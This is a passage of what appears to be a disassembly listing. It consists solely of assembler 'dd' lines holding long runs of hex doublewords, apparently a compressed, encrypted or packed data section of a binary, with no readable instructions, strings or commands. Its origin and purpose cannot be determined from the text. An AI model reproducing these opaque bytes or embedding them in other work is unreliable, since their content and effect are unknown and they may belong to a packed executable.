		dd 100993E3h, 5CE17DB4h, 0D8B262BCh, 25C0D829h,	5CB2DCB8h
		dd 0F0208474h, 0A625A884h, 0B70E42Fh, 411A918Ch, 1B2F5451h
		dd 5DA3B3A8h, 0E3255C98h, 161430C4h, 84A014BCh,	5C82F1EAh
		dd 250D4C4h, 9735108Dh,	85D707Ah, 906325F8h, 0F070534h
		dd 44AE9DCFh, 57D55641h, 0CE98D83Eh, 9019350Eh,	7E454C9h
		dd 0E6077C5h, 40E01F50h, 9852480Ch, 7C42581Ch, 42CC2Fh
		dd 402D08CFh, 0C4728E04h, 64660A90h, 507C00BAh,	0BF4C3AD4h
		dd 2086E930h, 0F740D9A9h, 141C71FAh, 180B30ADh,	3459D631h
		dd 0ED9EB8ACh, 2F13B097h, 420A8081h, 9D9DA030h,	6463C492h
		dd 0DCA7484Bh, 8BE0BE26h, 707E35A0h, 5ACE927h, 4D0F3EE8h
		dd 0A2D2C8B9h, 0B23D0B44h, 0B1AC307Fh, 0DA10C0D8h, 0DB542B5Ah
		dd 0B698D700h, 6A020D67h, 1860B477h, 20C950A4h,	0E3150C03h
		dd 0C865E673h, 121BEA60h, 0F46917C0h, 0E2006B14h, 0B2886D8Eh
		dd 0FFEBA91h, 6277AE36h, 0F5095F40h, 4109452Fh,	6CA3A640h
		dd 9D4BC9Ch, 5C1AD603h,	0AEAD494h, 0FB193B84h, 50843CC9h
		dd 0C4440BD2h, 274910h,	9F1C0728h, 71A14468h, 0C8D5C725h
		dd 99BAF9Ch, 95E14FFCh,	0C6858FCh, 1C8C293Ch, 89C5A16h
		dd 0C82F4AAAh, 554118ACh, 76F29420h, 1173243Dh,	0C9451C4Ch
		dd 5C72DBB2h, 0C029090h, 0E2F263D6h, 16B476F0h,	0DCD0C0A0h
		dd 7905117Ch, 0EC5839B7h, 1510C0C0h, 0F7DA0132h, 4061E1D1h
		dd 0E07EC79Bh, 0F5066000h, 1133434Fh, 8E560E98h, 401EBF28h
		dd 3DEC3BE8h, 1300C518h, 58ABC78h, 0B40C04D7h, 11E18BA4h
		dd 59169846h, 58B09786h, 0CC912589h, 0F0681892h, 7F00AC73h
		dd 0D3B9BF9Eh, 2468EB60h, 280212h, 75852DBBh, 0AA3C1546h
		dd 10BC8FC0h, 4AD074ADh, 0EF75B8E2h, 0B9048424h, 78239B78h
		dd 0E1B558E8h, 7066A800h, 17DEFC0Fh, 4889EA2Ah,	7C0E78B2h
		dd 30B6D93Ch, 49C8C024h, 0E96210C0h, 9729843Dh,	0AB2400CCh
		dd 34C9F4DDh, 7A604588h, 57F4B4D2h, 23E778B9h, 40CA3838h
		dd 675870FCh, 0C3D61831h, 3000BB51h, 8E55837Ch,	0B2FB588Dh
		dd 88281EBCh, 31061AEAh, 103C84DEh, 885F23C4h, 2A783CB0h
		dd 14744884h, 898DF913h, 0FC4844D0h, 0CCA3B40Ch, 0A0534B7Ah
		dd 0A1B50530h, 4476E784h, 850086Dh, 3D7624h, 0FBBC8C7Dh
		dd 98483B4Dh, 47A4C300h, 6E127EEh, 5680060Ch, 681AF40Fh
		dd 58DF0A04h, 61AABA8Ch, 4423BBCCh, 2F3CCF8Ch, 78F8CADCh
		dd 1A3005Ch, 0AC74F44Bh, 1A00C788h, 41539809h, 77A4AA1Eh
		dd 75B006Ch, 58D82F70h,	70C9F1ADh, 1F348282h, 0CF809h
		dd 2ACAF4C4h, 8EED8C27h, 0C260B658h, 8152A5CCh,	0F4DF0B4h
		dd 7AC023Fh, 0B4EBDD80h, 75055BB2h, 5D238C30h, 2F34B0BEh
		dd 10A5181Bh, 1D50D8A7h, 0FC7A2585h, 1920BB36h,	9078F978h
		dd 8EFF5D09h, 0C0D7E884h, 0CFD68A70h, 561131Dh,	6CBDFC02h
		dd 9624E109h, 11F4E100h, 4414922Dh, 0D3A08478h,	0D98CC868h
		dd 0EFE0AB0Eh, 58D4471Fh, 1DF4D82Bh, 25226E91h,	0D4B2044h
		dd 78DF9009h, 4DD08E10h, 5983BCD7h, 4827BD8Fh, 183890A8h
		dd 24D64C32h, 2E6240A1h, 865300D0h, 80C7090Bh, 18D00910h
		dd 873AB579h, 3B7F0694h, 19A20Fh, 0F4E3BBB1h, 0FD3A9614h
		dd 0E144D0B8h, 250BEE19h, 0A0809EC0h, 0D5FFEB70h, 4EB05813h
		dd 97E070C9h, 8B10DDF0h, 0ACAF9840h, 82315767h,	38604A2Ch
		dd 9E00497Ch, 28300206h, 8B2E6Bh, 0D278B54Dh, 0F6EDBBDAh
		dd 840F4B6h, 73D104h, 0B18FB69Bh, 39F9BF64h, 72C53496h
		dd 183088AEh, 7CC22A4Bh, 49C8F18Ah, 0ECA02CD1h,	26D1401Bh
		dd 9957EB98h, 50648ED9h, 6648011Dh, 30588BA1h, 1A406DBFh
		dd 0C5A0F233h, 471251Ch, 0C4010F84h, 0BD4400EBh, 0BF1F6C4Eh
		dd 54115F02h, 0F8E50E02h, 9E71361Ch, 561DE058h,	0C11F728Fh
		dd 6CF05A12h, 305450A7h, 9585DE5h, 88A86078h, 0BFF9E08Ch
		dd 887C64FFh, 0A6D92200h, 6965A89Ch, 892302BCh,	0B40F3217h
		dd 0E0081D5h, 6C6C0CC0h, 0CE235F01h, 606760E1h,	6E1EAA1Ch
		dd 0B00D1B0h, 2BCBE8F5h, 6C5F40h, 433A573Ch, 0F895C298h
		dd 79183DF4h, 2F91400Ch, 0D2000620h, 611B3AA4h,	0DFA5FEh
		dd 0AE987AB6h, 85B366C7h, 562E3Ch, 844097CEh, 50DD5949h
		dd 126480CFh, 47AEDDCh,	1E592F4h, 37D158F0h, 5FBF8444h
		dd 2C9C2800h, 7B4595Dh,	0B00F0631h, 994F10E6h, 6440E0D3h
		dd 89E50974h, 9ABD005Dh, 0D238BBEBh, 281276B9h,	1800A853h
		dd 4651B692h, 15491A91h, 0BD60098Ah, 4A05AF39h,	36E8145Ah
		dd 6629C881h, 7ACE8882h, 0B0811EC6h, 7AF8E1EBh,	0E762F030h
		dd 110E099Ah, 0C40880Fh, 795864FBh, 0F0ECB414h,	803314A7h
		dd 58786A00h, 3FC0110Bh, 9B02428h, 3295F480h, 0D08D50B6h
		dd 33101477h, 4301DC6Dh, 0DFBDE326h, 4150600Ah,	6292DC40h
		dd 8D3B42C1h, 9F9E7C40h, 9B7E8800h, 591C41E8h, 4C07B544h
		dd 149D8227h, 0F333B4CEh, 0E0CDCA35h, 0A03EFD40h, 78F710F4h
		dd 4AF670DBh, 73B0F628h, 0E8991A7Ch, 1DEE8F08h,	0C4A00277h
		dd 0AF60DBA6h, 19048640h, 0DC0F2420h, 94BCDC95h, 40628DCEh
		dd 90A0F336h, 880DDF33h, 53B15925h, 0B801AD58h,	7213E36Dh
		dd 0AB90602Ch, 1214C69Ah, 52417FFh, 43FBE22Ch, 8722AA8h
		dd 61B1BF88h, 209EF72h,	0C6117D2Ch, 5B35EE38h, 0F2CC65D8h
		dd 40BB8E5Ch, 0E70336AAh, 95C69858h, 0E5590C91h, 0E1B04085h
		dd 0FC0BFF09h, 5886070Fh, 0DCED0058h, 0FE65F804h, 7B1F8327h
		dd 6ED2471Ch, 0EB5CC3h,	0DA87DF89h, 10C0E3FFh, 0E800F85Fh
		dd 7D603B7Ch, 78140112h, 0EDBF0E33h, 19108079h,	457B3F58h
		dd 136902FCh, 702EB01Eh, 14A08463h, 220028E1h, 0E9B78CBh
		dd 431B95h, 0FA6BC12h, 0FC44AF8Bh, 0FD28251Fh, 10B324CCh
		dd 0F07F7B9Fh, 0DFA23F55h, 2CBC8700h, 0B51E3F60h, 973612F0h
		dd 1B604820h, 680F55A7h, 64E485E0h, 82512762h, 7FE00FC8h
		dd 4855A621h, 0FEB2F700h, 0DD386AE1h, 27B00023h, 3745E985h
		dd 0E60753Fh, 0A6397EC8h, 0E897003Dh, 8FEAE39Ch, 8103D3BFh
		dd 0B6574E5Ch, 963F98DCh, 0C93C012Eh, 0B50F8AA6h, 2889E20h
		dd 0C064AB4Fh, 0E4375ECh, 275718E8h, 0F6B09084h, 90926F00h
		dd 28E0DE7Bh, 50FCF09Fh, 0C0DC9CA6h, 908B14C8h,	50C33038h
		dd 73C7E3Fh, 9E910198h,	507B1005h, 8A012D90h, 611168A8h
		dd 92E08021h, 135E0ECDh, 27209D2Bh, 116EC0FDh, 0BCF1E13Ch
		dd 3F70071Fh, 12E05A0Ah
		dd 3C64E39Fh, 0AF829C07h, 0C57EE39h, 0E0E14140h, 0B1B0FB00h
		dd 2217184Eh, 0DE0303DFh, 8D48B8D8h, 0E1ABD6E0h, 96FE5303h
		dd 0A8FC2C16h, 6050576Fh, 0F5BB40F1h, 641C95DEh, 0D830903Fh
		dd 200157FBh, 85011342h, 3F335893h, 0EC48EEABh,	670A0h
		dd 8365A7E0h, 0BEE8D703h, 8C615928h, 3F1BE9F8h,	0B8C0771Bh
		dd 0A0E5345h, 8CE557EAh, 5D3600B0h, 164F39Ch, 0A63C9F09h
		dd 97101051h, 1C911Ch, 0A47026BDh, 9D0740A7h, 0BEFFB78Dh
		dd 0C207366h, 2C9B0F90h, 3C100438h, 780F6DEEh, 5CC90E2Bh
		dd 5F899E03h, 0D28486B8h, 66617E00h, 96870D9Eh,	6E970156h
		dd 490FAAAEh, 8848BE47h, 0E84CBBFh, 1320B58Eh, 893F388Fh
		dd 0ECA0E863h, 0C9005A2h, 1090DC4h, 0ACB4E788h,	0BE5420B9h
		dd 40348B30h, 180362h, 0A42C2184h, 6690BD53h, 0AFBEEC12h
		dd 0EF572402h, 9D88835Eh, 60E0C80Ch, 9B7A1DB4h,	0BEE20393h
		dd 408FD3BBh, 5A2D3A27h, 18EC4B48h, 22E94168h, 0DB522497h
		dd 2608948h, 2203E811h,	57EB0670h, 126870E0h, 1E5F990Eh
		dd 0DDB581B8h, 241DC20Fh, 0B409160h, 86DC9196h,	30C2A00Fh
		dd 5FD10C1Ch, 76C332C0h, 18CCFFBEh, 586A1D56h, 6C0027CAh
		dd 0ECBA6E8Eh, 7324EB13h, 9564009Dh, 34A7DB4Fh,	0AC009A80h
		dd 908EE1FBh, 7C4DAEh, 55970CA3h, 0D32431CEh, 4CEC0F3Ch
		dd 53170628h, 22F04378h, 0CE439BAh, 0DC489F00h,	0E7A86617h
		dd 9311003Ch, 6F2694BAh, 47323F42h, 1053C92Ch, 70131EAFh
		dd 0BB00896Ah, 6DA40FBEh, 0CC68C0E0h, 6CFEE2DAh, 3FD50805h
		dd 0A807F70Bh, 0D12457EDh, 69738481h, 0FE43FDF4h, 64DB1399h
		dd 8F08029Dh, 1069D08Dh, 0FB883087h, 210E960h, 500ABEBFh
		dd 0FA939069h, 0A5A82810h, 9EA407FCh, 0B2635C2Dh, 0B0836451h
		dd 58099CB4h, 28FB7DBAh, 3F06A0FCh, 190E2F3h, 0B48BB306h
		dd 41552DE6h, 0C90FE0E0h, 9FF60746h, 2977A40h, 0D40DEEFDh
		dd 0F848A9E7h, 0D780C044h, 5EB6129Fh, 951420E6h, 41F9DB56h
		dd 0D3179D70h, 90BF73C7h, 8F3F7850h, 30190233h,	0D220009Fh
		dd 0F50ABD9Bh, 3274C553h, 1A935B00h, 56BBFA49h,	70F360D6h
		dd 5EB09F6Dh, 0B8120443h, 0AFEC21DBh, 677D016h,	0D676BA18h
		dd 0CB9F70h, 0BB0D0564h, 6B27BC37h, 0B3045B0Fh,	0BE9001E8h
		dd 0EC419D47h, 0F0484484h, 139C2839h, 81A8EC98h, 9DA041C9h
		dd 0D1B0350Fh, 12786360h, 9C204F97h, 0D20154D9h, 8DFC0149h
		dd 0F823E7B5h, 0C000977Bh, 4968981Fh, 9FA78h, 43F76AE2h
		dd 40E7DF16h, 1601107h,	6FB76E06h, 0C08862D5h, 603740D2h
		dd 5567E600h, 3A3F22B5h, 48509244h, 0FA2ED0D3h,	0BF09038Eh
		dd 3028AACFh, 27096C88h, 805DEE5Ch, 63FB9DA0h, 0B70A0A08h
		dd 8EC6799h, 0C1024891h, 695E0F53h, 42EA6610h, 7AA0903Ch
		dd 9811D8F4h, 0A9508CE7h, 88A061BCh, 0F128BE4h,	884B7F3Dh
		dd 0E704A56Ch, 5697CC05h, 0BA589423h, 3FC00FC2h, 19E8DA13h
		dd 0BE049013h, 2E0B7840h, 0C3537FBFh, 32AF9110h, 4118DDEBh
		dd 0BC20E762h, 0F0E1C39Eh, 28EAC43Fh, 0DE3774C4h, 4ACF089Ch
		dd 218F9457h, 0EBDBC02Ah, 9A405F0Fh, 0B9BF1870h, 211048DCh
		dd 0DBB79505h, 8C0646AFh, 602871h, 78440DB5h, 0B4733F87h
		dd 700968D6h, 49B48041h, 3E5084Ah, 34B990BEh, 2820D9BFh
		dd 35973AF3h, 9AABF281h, 62163CA7h, 53550050h, 4E52A057h
		dd 0DBE50065h, 4B6E942h, 7A008A4Fh, 883775E2h, 0A5017389h
		dd 0E6084A4h, 91121E2Eh, 0E909A81Eh, 51902011h,	497C0FDBh
		dd 50005423h, 41D87922h, 17400258h, 0F55117A7h,	16EA090Fh
		dd 3439EC83h, 244C3049h, 3F41ACAEh, 0C900F686h,	0CB059CACh
		dd 859EA82Eh, 3F1B3CC0h, 0B44350C1h, 0B5F28EBh,	219F414Ch
		dd 0DEF4607Ch, 60139893h, 0CECD206Dh, 3006032h,	0C179A964h
		dd 9603B7EBh, 2CD1751Ch, 5C000D5h, 0E03A551Ah, 0DC001B85h
		dd 0D17D024Ah, 0B125BABEh, 0B01828A0h, 0A260A11Dh, 56A4C0F2h
		dd 7CB448A1h, 683DA802h, 0DCC360DFh, 0A100C4EBh, 8E8589EAh
		dd 5D7B3FD6h, 570C4462h, 0F5B826FAh, 0DC6FBE13h, 84329057h
		dd 0DB186199h, 0C077BC43h, 1057744Ch, 1394CCh, 0BE4D85A3h
		dd 5C2580Ch, 514B2C32h,	0EA93C227h, 8BA70882h, 1E871480h
		dd 0E817401Ah, 82070211h, 52537A09h, 35E7C129h,	70AFD0h
		dd 60CAACFDh, 0C262DD9h, 11723Ah, 2095064h, 0DF08F48Dh
		dd 3A5A8010h, 0F574BFF9h, 0CFB138C0h, 1FD209C7h, 3016EDD9h
		dd 28C359A8h, 0D5D8A903h, 0CEF5CFh, 9F303E58h, 0D2D96423h
		dd 80401205h, 3C02E2ACh, 0C3CE48Dh, 310052E0h, 657B1C49h
		dd 9F7C16h, 4D73AE4Bh, 0C7FC30B5h, 0C1A68D01h, 39529BD9h
		dd 0C6CF6840h, 0ED50CE55h, 5B06092Fh, 0EF3C109Eh, 78AF1DFDh
		dd 4022A600h, 18C5A48Ah, 785A718Dh, 0F63B1030h,	919A039Bh
		dd 0E0A11EE4h, 0C25993h, 0D0513EAAh, 0BF303F40h, 7FC86761h
		dd 0FDD17E94h, 77CC50D9h, 30B428CFh, 28396488h,	0AE49034Fh
		dd 0D020E066h, 0E54E2FFh, 2239685Bh, 3489001Ch,	18CAE924h
		dd 805910C2h, 0E5407FEEh, 0B701535Ah, 283C046Ch, 10E5E9F8h
		dd 875B268Fh, 0F65C2440h, 0F0066E1h, 8953CCB6h,	0BF57E3h
		dd 3B863D28h, 99DC781h,	0CC04671h, 7E33B93Fh, 5FFB0301h
		dd 0E54BE951h, 0BE899660h, 0C04DF7h, 2FBA5219h,	21533518h
		dd 0E98CD661h, 2E80ED1Ah, 6804C483h, 0C7D8234Dh, 37E9558Eh
		dd 22EF0Ah, 82C59E8h, 283A5267h, 1BE1698Ch, 3804C181h
		dd 0C148383h, 10830C87h, 0BA284437h, 0BE560010h, 1B8967F6h
		dd 3203C381h, 29027127h, 80EBC2F3h, 48E95E08h, 0B834CE19h
		dd 26AB1F82h, 1C51AC84h, 8EAB9C0h, 7249258Eh, 6053FC41h
		dd 895C94E2h, 527A2404h, 5BE31667h, 728663h, 0C2BB533Ch
		dd 29329244h, 96C7D87Eh, 22B05C5Dh, 0ECE814Eh, 717E7B02h
		dd 0B561C6C0h, 2114014Ch, 7BAC8BF0h, 2D69C450h,	0EE07C8EEh
		dd 0E9C331FCh, 78185FF6h, 0D9281CB3h, 809E395Bh, 8B6602C1h
		dd 0B880241Ch, 59C83002h, 603688E7h, 30203447h,	0F1895830h
		dd 605C88A0h, 0AF1EC583h, 0CE5FD1DFh, 676508h, 0E55482BEh
		dd 0C6248376h, 0BC0C08FFh, 775D1C6Eh, 2C470A81h, 0D97617h
		dd 281D124Eh, 0DFFAF901h, 5B095892h, 8E78957h, 0B620412Fh
		dd 0CF010680h, 0FF575907h, 5FB22474h, 5CB6838Fh, 33BA3631h
		dd 0E9140D06h, 37BFCE7Bh, 55932758h, 31481E82h,	0F009C7C6h
		dd 2A86AF5Eh, 681B1871h, 0E71386h, 0B8505244h, 2E487E0Ch
		dd 290D401Eh, 3A1E4AD3h, 0F73E1366h, 0C2893E03h, 40DB92E9h
		dd 67ADA970h, 0DA810CD8h, 0FA6285Fh, 5E7D1086h,	0D84EF86h
		dd 5FFA0106h, 0D8BC1433h, 85E90D06h, 0AC3A2561h, 0A941D830h
		dd 88012675h, 5801C8F8h, 8D5597F4h, 1A48BC8Fh, 0C107035h
		dd 0FB9AF9F8h, 3078B523h, 0BD10EB71h, 54006461h, 6E5C12Ah
		dd 1DA6CD81h, 8129CA4Dh, 0FE414EF5h, 0FB0C8021h, 0E9195D62h
		dd 55D3C0D6h, 515C40BDh, 0E87F29E4h, 602A2D00h,	0C8013399h
		dd 0AD07A305h, 0C12D140Fh, 597F1A5Dh, 70665920h, 6CE9198Fh
		dd 205A5406h, 322488CCh, 220C9B92h, 2FBFAAF2h, 54F04064h
		dd 3E5FF924h, 0BA488h, 9D1C77FFh, 19E45866h, 0E99CF6C1h
		dd 0E980CD7Ah, 25C44F90h, 8B28E801h, 0E02A8B2Ch, 0B781F677h
		dd 20D44968h, 8D00BB4Fh, 0C12D9D61h, 0C4302E3h,	0D77DE94Bh
		dd 0C807BE50h, 0B807667Bh
		dd 307096F0h, 50279001h, 41F7FF89h, 645620EAh, 0F85DD240h
		dd 62836682h, 5B48A287h, 60120E2Fh, 7B35275Fh, 1582EB0h
		dd 4830E7C3h, 70180015h, 0E9DE8991h, 219A4ED1h,	3C0FA890h
		dd 0C90DED68h, 0FFE105D3h, 58993304h, 5E3C000h,	801FDBF6h
		dd 844D97EBh, 0B2041A30h, 0B0CC771Eh, 54D30A5Ah, 40DE9C3Ch
		dd 0A8D081CCh, 0C5E35015h, 24231CA9h, 0E026892Bh, 0C067C205h
		dd 6C3A3366h, 0E90D0631h, 3491104Dh, 2446F85Ah,	3B0A14A2h
		dd 0F895CA28h, 0E23FCB57h, 0B262071Ah, 9EA2094Ch, 5D900609h
		dd 0BF920EE9h, 2828594Ch, 0F0A04DEBh, 0FC833DACh, 838CA0C4h
		dd 0B607D004h, 3C5DC900h, 6036E91Ah, 28BF0299h,	544D37ECh
		dd 14604225h, 15924401h, 0C5AC5B58h, 52263E08h,	0BD0F8866h
		dd 0FE05806Ah, 74445F00h, 8206F62Dh, 0F9539068h, 11CA0747h
		dd 348A5D1Fh, 83904F3Fh, 5786FC4Ch, 7999F8D3h, 0BF9F8199h
		dd 1BBF02Eh, 8A10546Fh,	5A440C6Ch, 7CE4B783h, 35C7EFBh
		dd 0D0B15108h, 77F1C828h, 0CD1CBE84h, 6852062Bh, 0F18D022Ah
		dd 89174EE6h, 63315AB6h, 9688624h, 1E6E33F6h, 0C8885B87h
		dd 50F55214h, 41612695h, 57295F12h, 0CC0BD445h,	0A2F31451h
		dd 62BF1ACFh, 8BF96972h, 0E5317ACBh, 7A3BB488h,	15EF2D01h
		dd 0A1653AD2h, 0C8CE75A4h, 78874606h, 40AE5C52h, 0C31268DFh
		dd 0D6132297h, 5DEAD802h, 662E41EBh, 0F1F78C51h, 0C03ACDDCh
		dd 2E6C10Eh, 0A202F681h, 31973CDFh, 0EBF660F5h,	583485Dh
		dd 0BC54872Ch, 44A86626h, 45F7C0D3h, 0DC01ED81h, 0F76FDF0Bh
		dd 0C1E1D1DDh, 4DE905E8h, 0F5829D4h, 0EE32BB53h, 45053452h
		dd 8401A549h, 5BD14B1Ch, 0BEC85666h, 982D769Bh,	0F75EF258h
		dd 0A04045DCh, 0FE64630Fh, 5277B84Eh, 0A338B883h, 0F77EA407h
		dd 0F6EFD3DBh, 0C8B5317h, 0F8C22924h, 31AD0032h, 502456D8h
		dd 60095955h, 80FC89D4h, 61394024h, 0EAC2A10Ah,	9A5AD0C8h
		dd 0C1C6A8C9h, 63E6C4E0h, 72469220h, 5093DC45h,	82873B38h
		dd 6602DD22h, 69E9ED68h, 11513141h, 0EB26E1F7h,	40921340h
		dd 0D54CF762h, 6FB10275h, 615641E5h, 5300E7FDh,	1709B450h
		dd 8458E388h, 0B4D308B1h, 9002EAE9h, 3E595198h,	8C056B24h
		dd 0C03E8F22h, 7BAEE9F6h, 65EE24DDh, 86FA8909h,	625CFECBh
		dd 0E3DF22B6h, 36E55E69h, 130642B8h, 7B452C87h,	0BFD0737Ch
		dd 3E78AEh, 5EF33118h, 0EBC1D3F7h, 79F0EAB0h, 614C4E12h
		dd 0A485D01h, 0CEF03E57h, 641702B3h, 4AC1E935h,	0C90486A4h
		dd 0E09ABF2Bh, 3D952516h, 0F7541DF6h, 67EAC7D8h, 0CF351046h
		dd 92017160h, 2158C131h, 0E8D459C8h, 0C120F310h, 2C52FF54h
		dd 4D9D6057h, 23060C45h, 290B51BFh, 8958C702h, 923C8BF8h
		dd 5FFA80F2h, 76659C40h, 0A0E9F001h, 0EE835808h, 5F514A04h
		dd 7EE8C06h, 0E8A1476Dh, 0A50FF239h, 0C888C976h, 7037B261h
		dd 305012BEh, 1AD30133h, 82629336h, 38542B0Ch, 3CB04034h
		dd 0A160F477h, 0CC08E97h, 0DEF7051Bh, 407BF068h, 5E54B86Dh
		dd 37903A63h, 511A216Ah, 8C660259h, 5690E909h, 0F35FD10h
		dd 1F58E724h, 0A739A100h, 0B0DD0102h, 13F57C2Bh, 1E7E4E7Ch
		dd 0E953F00Ch, 6BD41D41h, 19BD0208h, 626CF10Ah,	0E9638119h
		dd 0FA92F9A7h, 1C20004Dh, 29AA0FEBh, 0DA04398h,	0BE0B1106h
		dd 2DF018Ah, 0F3C8E01h,	97AB7C0Ah, 0D5665214h, 0F7A25913h
		dd 7AE53056h, 0F3352564h, 0DB5ED593h, 2D9D4A74h, 0D11621D2h
		dd 59580236h, 1F219738h, 0CA0CCEFh, 0DE016810h,	5829EA61h
		dd 0CE42822Dh, 0E7A6881Dh, 1E525625h, 0F4E98609h, 87EC513Ah
		dd 893F7F69h, 82519A70h, 9EC1AE5h, 4F306442h, 6B67F5E9h
		dd 0C6D5E633h, 0DE203B8Fh, 12C3ECD4h, 0D2297D1Fh, 0CD411F32h
		dd 0D6AA524Ch, 906202D9h, 9843601Fh, 0DDF108B3h, 311C9A61h
		dd 9A6122Fh, 0E9ABB890h, 105C61EAh, 741CF766h, 0C84103DBh
		dd 11218776h, 0FC7F308h, 0FEABB050h, 5D132774h,	5A18D934h
		dd 56CBB52h, 5305F74Bh,	5A610B52h, 663F81AFh, 97593C9Bh
		dd 59381E50h, 5589FD63h, 0E9856295h, 9E2D70D6h,	5C230CB1h
		dd 4DD73752h, 50D904C8h, 1782790Ch, 8B7CE9B2h, 3F6073FAh
		dd 31346212h, 4D5D5492h, 5CED8327h, 0F012BF34h,	2C31C5E3h
		dd 5F748Ch, 9E76D2BDh, 0A20BB877h, 80CC7C94h, 4C255DCFh
		dd 4B310927h, 35C258E9h, 1299B042h, 802FF4F7h, 0BF3489CAh
		dd 0F9305887h, 3A5932D3h, 4149541Ah, 91930690h,	4148A65h
		dd 3268B8C8h, 9596125h,	0C4D194CBh, 5F2ADC66h, 67E2990h
		dd 0A8463F29h, 8DFA25BCh, 96E047A7h, 23DC539h, 1888606Ah
		dd 5348D91Fh, 0FCCE1099h, 1C78003h, 47CDFF6h, 18E0D031h
		dd 3CDCEA20h, 496DD336h, 0F302E3E3h, 0BD513587h, 0D3911490h
		dd 4CC6A5C6h, 0D602CE87h, 0E17F5346h, 80043E49h, 0AD8DC51Ah
		dd 21A09618h, 83488980h, 3DB0EBE8h, 0C335A30h, 296D67F5h
		dd 0A22E587Bh, 781B3081h, 87E38053h, 4D76C3E6h,	28E6F309h
		dd 989E5DEh, 35629FE9h,	30460461h, 0E21D1912h, 81BFB198h
		dd 5B8852F5h, 0E644F101h, 0AF52081Fh, 3FCB80C5h, 2949EA21h
		dd 682281B1h, 7E230C63h, 6432BF24h, 398082F8h, 0F4D90D70h
		dd 6B431D8h, 9D8900Dh, 80CCD1C2h, 60BBF877h, 85BA8DD9h
		dd 0C01318A7h, 2D0BD601h, 0ED83990Ch, 60440030h, 49280C26h
		dd 21487C52h, 0C00B0181h, 0CB91840Fh, 68514C82h, 49CC3A16h
		dd 7B101300h, 3DE9554Fh, 2379212h, 8D2DB211h, 0F8620159h
		dd 3136D402h, 0CBCBF4C3h, 880C3C2h, 6FE16859h, 0A7A40991h
		dd 0E65FB262h, 0F660EECh, 5189C8AFh, 205D7884h,	173C57B8h
		dd 1D097D99h, 0D3BFC354h, 31CBF97Eh, 6B1CCB9Ch,	106E9386h
		dd 4F82D26Ch, 81C6F16h,	7E3C7D46h, 6BE668DAh, 0BD25274Eh
		dd 798FA486h, 347B1139h, 0F8822201h, 942F295Ch,	2830170Fh
		dd 0E14894B4h, 20E7B4Ah, 0A9902C5Ah, 0E6DF29C6h, 380DDA73h
		dd 8430F344h, 3AB9466Dh, 444E3D47h, 8806C25h, 7A046856h
		dd 0BA407B94h, 7DCD678Dh, 0B6730160h, 0CBE99DE7h, 0D138341Ah
		dd 15B8EB73h, 991F5A3Eh, 5E84E4E2h, 0C3029A6Ch,	4DB00406h
		dd 0EC98AD58h, 1623BBF9h, 0E29063F7h, 7ABE2077h, 8ED1595Ch
		dd 7842BD83h, 0E9450F90h, 2376A126h, 0A994867h,	0A2BC92ABh
		dd 4F665A02h, 6E7A89E9h, 9A2E900h, 0C2F74C3Fh, 215863E8h
		dd 7B3BD04Dh, 5B007D4Bh, 0D188E286h, 9D489966h,	0C753DE02h
		dd 0AF4C8ACBh, 85C9B1Dh, 55DE83E4h, 24C1693Bh, 8405F406h
		dd 27875171h, 0BD3FA2A0h, 0D718C55Ch, 1808C648h, 7934C71Eh
		dd 49EC6804h, 338D1FD1h, 1A30D051h, 7F2039D9h, 160677FBh
		dd 84F9E95Dh, 4471A75Ah, 0FDC48705h, 7F8D4F5Dh,	34276F27h
		dd 56105384h, 50E3E7C4h, 0B447344Eh, 0F06B3B45h, 576A027Ch
		dd 38EB2001h, 104C4006h, 3FFD065Ah, 90C3AC1h, 349861FCh
		dd 7FB76080h, 1043759h,	3925E9DAh, 0EED15BB3h, 58891F48h
		dd 5B690B90h, 0B982CE99h, 0C0B02637h, 1234F115h, 1077E92Fh
		dd 0FE00B31Fh, 218CA6F5h, 3AFA1C4Fh, 7A341E5Bh,	35918775h
		dd 0B405097Eh, 572A681Ah, 512CCB4Ch, 5253BF77h,	0AC483968h
		dd 68665CB1h, 0DB90A411h, 0A095E953h, 177FC723h, 0C5305690h
		dd 54A70195h, 30386A0Ch, 283E70C0h, 0D3287FB5h,	0AB0EB85Ah
		dd 0C1B00BB6h, 0F37619EEh, 0FCDE9530h, 8308A2C6h, 4A55A24Bh
		dd 219B3164h, 1C5B65D8h
		dd 29FFE9B4h, 0C8282C0Fh, 0F15807B3h, 0A56D50E4h, 0DD182C3Ch
		dd 5F542CC2h, 0DA6CBEB4h, 801D403Fh, 24C6E73Ch,	0BB81441Eh
		dd 0FB8D8936h, 5DB10221h, 22DCB1A6h, 6807049Eh,	0BCE30661h
		dd 1D03D610h, 0C0D236B7h, 9BC66387h, 295A1C85h,	7E55D8D0h
		dd 0D99E568Bh, 5DA47DEFh, 94CBE2A4h, 0E6BF051Bh, 953D1A4Eh
		dd 0C376F19Dh, 0EE768A0h, 0AE93E9A2h, 0C6947D72h, 0AA545965h
		dd 31889321h, 721A4818h, 27F08B5h, 0C7DCE986h, 0D5F202A5h
		dd 9BB6C92h, 0E5C3FAA0h, 1F6F048h, 0B23BDD5Ch, 2A26256h
		dd 40CE8926h, 0A25EF509h, 7F674439h, 68E60956h,	0A731314Fh
		dd 1E3BE070h, 85E18101h, 0C160622Fh, 6E45C0DAh,	2D598126h
		dd 235E253Eh, 3F22D12h,	2FF5E7B7h, 0ACDA159Ch, 661CA970h
		dd 59DECA01h, 48ECB095h, 0E86B1063h, 67FD8812h,	876C8047h
		dd 1F30E901h, 5ACB59F1h, 36112D54h, 493E2F06h, 75C66815h
		dd 2F3A329Eh, 54BE9159h, 0A95565EDh, 414A16B0h,	9E0F7C38h
		dd 14166A8Dh, 5CC97D27h, 0B6018251h, 2EC680C9h,	9E66FEC0h
		dd 88833BF9h, 7471E9E7h, 78CF2649h, 82DD1935h, 7DB1D0E0h
		dd 62B00973h, 4588C108h, 0E885E9E3h, 5BFD8221h,	0D844907h
		dd 0E420BA0h, 0D104EAC1h, 27DC4A6Ch, 0C9224CBh,	0DF5E675Dh
		dd 3CA8C9FFh, 46961746h, 4EED29Fh, 0B0C0FC8Ah, 6B68F181h
		dd 6B7220AAh, 42058590h, 16151C7Dh, 6882D091h, 348B242Fh
		dd 0B34FD571h, 0D8487E83h, 0C301B155h, 5232FAA0h, 5B29C853h
		dd 4B3C24DEh, 68745F66h, 0CFF77354h, 86204796h,	60C23B26h
		dd 5300AA11h, 952FA368h, 0F029E91Dh, 0C001EA6Bh, 5A6A9B66h
		dd 9762F759h, 0F9840D3h, 22E9C8B7h, 0EA0055B1h,	61535CCh
		dd 30CA4C29h, 9A190841h, 83E2B904h, 0EBB11862h,	0D001ED81h
